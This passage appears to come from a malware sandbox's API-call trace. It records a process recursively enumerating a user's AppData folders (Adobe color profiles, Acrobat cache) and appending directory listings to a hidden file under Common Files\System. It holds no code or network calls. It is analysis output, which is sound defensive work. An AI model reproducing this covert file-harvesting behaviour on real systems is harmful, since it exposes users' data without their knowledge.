ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40000000, dwReserved1=0x832430, cFileName="10.0", cAlternateFileName="")) returned 0 [0126.293] FindClose (in: hFindFile=0x7d1630 | out: hFindFile=0x7d1630) returned 1 [0126.294] GetLastError () returned 0x12 [0126.294] FindNextFileA (in: hFindFile=0x7d15f0, lpFindFileData=0x18cf4c | out: lpFindFileData=0x18cf4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18ccb4, dwReserved1=0x18cce4, cFileName="Color", cAlternateFileName="")) returned 1 [0126.294] AreFileApisANSI () returned 1 [0126.294] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.294] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18cbbc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0126.294] GetFileType (hFile=0x170) returned 0x1 [0126.294] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18cc18 | out: lpNewFilePointer=0x0) returned 1 [0126.294] GetLastError () returned 0xb7 [0126.294] SetLastError (dwErrCode=0xb7) [0126.294] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18cc64 | out: lpNewFilePointer=0x0) returned 1 [0126.294] WriteFile (in: hFile=0x170, lpBuffer=0x18b8a4*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x18b884, lpOverlapped=0x0 | out: lpBuffer=0x18b8a4*, lpNumberOfBytesWritten=0x18b884*=0x6c, lpOverlapped=0x0) returned 1 [0126.294] GetLastError () returned 0xb7 [0126.294] SetLastError (dwErrCode=0xb7) [0126.294] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1630 [0126.295] FindNextFileA (in: hFindFile=0x7d1630, lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.295] FindNextFileA (in: hFindFile=0x7d1630, lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce719dc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECache11.lst", cAlternateFileName="ACECAC~1.LST")) returned 1 [0126.295] FindNextFileA (in: hFindFile=0x7d1630, lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x8346c8, cFileName="Profiles", cAlternateFileName="")) returned 1 [0126.295] AreFileApisANSI () returned 1 [0126.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.295] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c860, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0126.295] GetFileType (hFile=0x174) returned 0x1 [0126.295] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c8c0 | out: lpNewFilePointer=0x0) returned 1 [0126.295] GetLastError () returned 0xb7 [0126.295] SetLastError (dwErrCode=0xb7) [0126.295] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c90c | out: lpNewFilePointer=0x0) returned 1 [0126.295] WriteFile (in: hFile=0x174, lpBuffer=0x18b54c*, nNumberOfBytesToWrite=0x75, lpNumberOfBytesWritten=0x18b52c, lpOverlapped=0x0 | out: lpBuffer=0x18b54c*, lpNumberOfBytesWritten=0x18b52c*=0x75, lpOverlapped=0x0) returned 1 [0126.295] GetLastError () returned 0xb7 [0126.295] SetLastError (dwErrCode=0xb7) [0126.296] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1670 [0126.296] FindNextFileA (in: hFindFile=0x7d1670, lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.296] FindNextFileA (in: hFindFile=0x7d1670, lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x102a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wscRGB.icc", cAlternateFileName="")) returned 1 [0126.296] FindNextFileA (in: hFindFile=0x7d1670, lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0xd6, dwReserved1=0x0, cFileName="wsRGB.icc", cAlternateFileName="")) returned 1 [0126.296] FindNextFileA (in: hFindFile=0x7d1670, lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0xd6, dwReserved1=0x0, cFileName="wsrgb.icc", cAlternateFileName="")) returned 0 [0126.296] FindClose (in: hFindFile=0x7d1670 | out: hFindFile=0x7d1670) returned 1 [0126.296] GetLastError () returned 0x12 [0126.296] FindNextFileA (in: hFindFile=0x7d1630, lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x8346c8, cFileName="profiles", cAlternateFileName="")) returned 0 [0126.296] FindClose (in: hFindFile=0x7d1630 | out: hFindFile=0x7d1630) returned 1 [0126.296] GetLastError () returned 0x12 [0126.296] FindNextFileA (in: hFindFile=0x7d15f0, lpFindFileData=0x18cf4c | out: lpFindFileData=0x18cf4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18ccb4, dwReserved1=0x18cce4, cFileName="color", cAlternateFileName="")) returned 0 [0126.296] FindClose (in: hFindFile=0x7d15f0 | out: hFindFile=0x7d15f0) returned 1 [0126.296] GetLastError () returned 0x12 [0126.296] FindNextFileA (in: hFindFile=0x7d15b0, lpFindFileData=0x18d2a8 | out: lpFindFileData=0x18d2a8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18d014, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0126.296] AreFileApisANSI () returned 1 [0126.296] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.296] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18cf18, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0126.296] GetFileType (hFile=0x16c) returned 0x1 [0126.297] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18cf78 | out: lpNewFilePointer=0x0) returned 1 [0126.297] GetLastError () returned 0xb7 [0126.297] SetLastError (dwErrCode=0xb7) [0126.297] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18cfc4 | out: lpNewFilePointer=0x0) returned 1 [0126.297] WriteFile (in: hFile=0x16c, lpBuffer=0x18bc04*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x18bbe4, lpOverlapped=0x0 | out: lpBuffer=0x18bc04*, lpNumberOfBytesWritten=0x18bbe4*=0x71, lpOverlapped=0x0) returned 1 [0126.297] GetLastError () returned 0xb7 [0126.297] SetLastError (dwErrCode=0xb7) [0126.297] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\*.*", lpFindFileData=0x18cf4c | out: lpFindFileData=0x18cf4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x100000, dwReserved1=0x832180, cFileName=".", cAlternateFileName="")) returned 0x7d15f0 [0126.297] FindNextFileA (in: hFindFile=0x7d15f0, lpFindFileData=0x18cf4c | out: lpFindFileData=0x18cf4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x100000, dwReserved1=0x832180, cFileName="..", cAlternateFileName="")) returned 1 [0126.297] FindNextFileA (in: hFindFile=0x7d15f0, lpFindFileData=0x18cf4c | out: lpFindFileData=0x18cf4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x100000, dwReserved1=0x832180, cFileName="Adobe", cAlternateFileName="")) returned 1 [0126.297] AreFileApisANSI () returned 1 [0126.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.297] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18cbbc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0126.298] GetFileType (hFile=0x170) returned 0x1 [0126.298] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18cc18 | out: lpNewFilePointer=0x0) returned 1 [0126.298] GetLastError () returned 0xb7 [0126.298] SetLastError (dwErrCode=0xb7) [0126.298] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18cc64 | out: lpNewFilePointer=0x0) returned 1 [0126.298] WriteFile (in: hFile=0x170, lpBuffer=0x18b8a4*, nNumberOfBytesToWrite=0x77, lpNumberOfBytesWritten=0x18b884, lpOverlapped=0x0 | out: lpBuffer=0x18b8a4*, lpNumberOfBytesWritten=0x18b884*=0x77, lpOverlapped=0x0) returned 1 [0126.298] GetLastError () returned 0xb7 [0126.298] SetLastError (dwErrCode=0xb7) [0126.298] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\*.*", lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1630 [0126.298] FindNextFileA (in: hFindFile=0x7d1630, lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.298] FindNextFileA (in: hFindFile=0x7d1630, lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0126.298] AreFileApisANSI () returned 1 [0126.298] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.298] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c860, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0126.299] GetFileType (hFile=0x174) returned 0x1 [0126.299] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c8c0 | out: lpNewFilePointer=0x0) returned 1 [0126.299] GetLastError () returned 0xb7 [0126.299] SetLastError (dwErrCode=0xb7) [0126.299] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c90c | out: lpNewFilePointer=0x0) returned 1 [0126.299] WriteFile (in: hFile=0x174, lpBuffer=0x18b54c*, nNumberOfBytesToWrite=0x7f, lpNumberOfBytesWritten=0x18b52c, lpOverlapped=0x0 | out: lpBuffer=0x18b54c*, lpNumberOfBytesWritten=0x18b52c*=0x7f, lpOverlapped=0x0) returned 1 [0126.299] GetLastError () returned 0xb7 [0126.299] SetLastError (dwErrCode=0xb7) [0126.299] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10000000, dwReserved1=0x832440, cFileName=".", cAlternateFileName="")) returned 0x7d1670 [0126.299] FindNextFileA (in: hFindFile=0x7d1670, lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10000000, dwReserved1=0x832440, cFileName="..", cAlternateFileName="")) returned 1 [0126.299] FindNextFileA (in: hFindFile=0x7d1670, lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10000000, dwReserved1=0x832440, cFileName="10.0", cAlternateFileName="")) returned 1 [0126.299] AreFileApisANSI () returned 1 [0126.299] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.299] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c504, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0126.300] GetFileType (hFile=0x178) returned 0x1 [0126.300] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c560 | out: lpNewFilePointer=0x0) returned 1 [0126.300] GetLastError () returned 0xb7 [0126.300] SetLastError (dwErrCode=0xb7) [0126.300] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c5ac | out: lpNewFilePointer=0x0) returned 1 [0126.300] WriteFile (in: hFile=0x178, lpBuffer=0x18b1ec*, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0x18b1cc, lpOverlapped=0x0 | out: lpBuffer=0x18b1ec*, lpNumberOfBytesWritten=0x18b1cc*=0x84, lpOverlapped=0x0) returned 1 [0126.300] GetLastError () returned 0xb7 [0126.300] SetLastError (dwErrCode=0xb7) [0126.300] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d16b0 [0126.300] FindNextFileA (in: hFindFile=0x7d16b0, lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.300] FindNextFileA (in: hFindFile=0x7d16b0, lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x892c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst", cAlternateFileName="ADOBEC~1.LST")) returned 1 [0126.300] FindNextFileA (in: hFindFile=0x7d16b0, lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xd9c071a0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x21cdb, dwReserved0=0x1000000, dwReserved1=0x834a68, cFileName="AdobeSysFnt10.lst", cAlternateFileName="ADOBES~1.LST")) returned 1 [0126.300] FindNextFileA (in: hFindFile=0x7d16b0, lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1000000, dwReserved1=0x834a68, cFileName="Cache", cAlternateFileName="")) returned 1 [0126.301] AreFileApisANSI () returned 1 [0126.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0126.301] GetFileType (hFile=0x17c) returned 0x1 [0126.301] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c208 | out: lpNewFilePointer=0x0) returned 1 [0126.301] GetLastError () returned 0xb7 [0126.301] SetLastError (dwErrCode=0xb7) [0126.301] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c254 | out: lpNewFilePointer=0x0) returned 1 [0126.301] WriteFile (in: hFile=0x17c, lpBuffer=0x18ae94*, nNumberOfBytesToWrite=0x8a, lpNumberOfBytesWritten=0x18ae74, lpOverlapped=0x0 | out: lpBuffer=0x18ae94*, lpNumberOfBytesWritten=0x18ae74*=0x8a, lpOverlapped=0x0) returned 1 [0126.301] GetLastError () returned 0xb7 [0126.301] SetLastError (dwErrCode=0xb7) [0126.302] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, 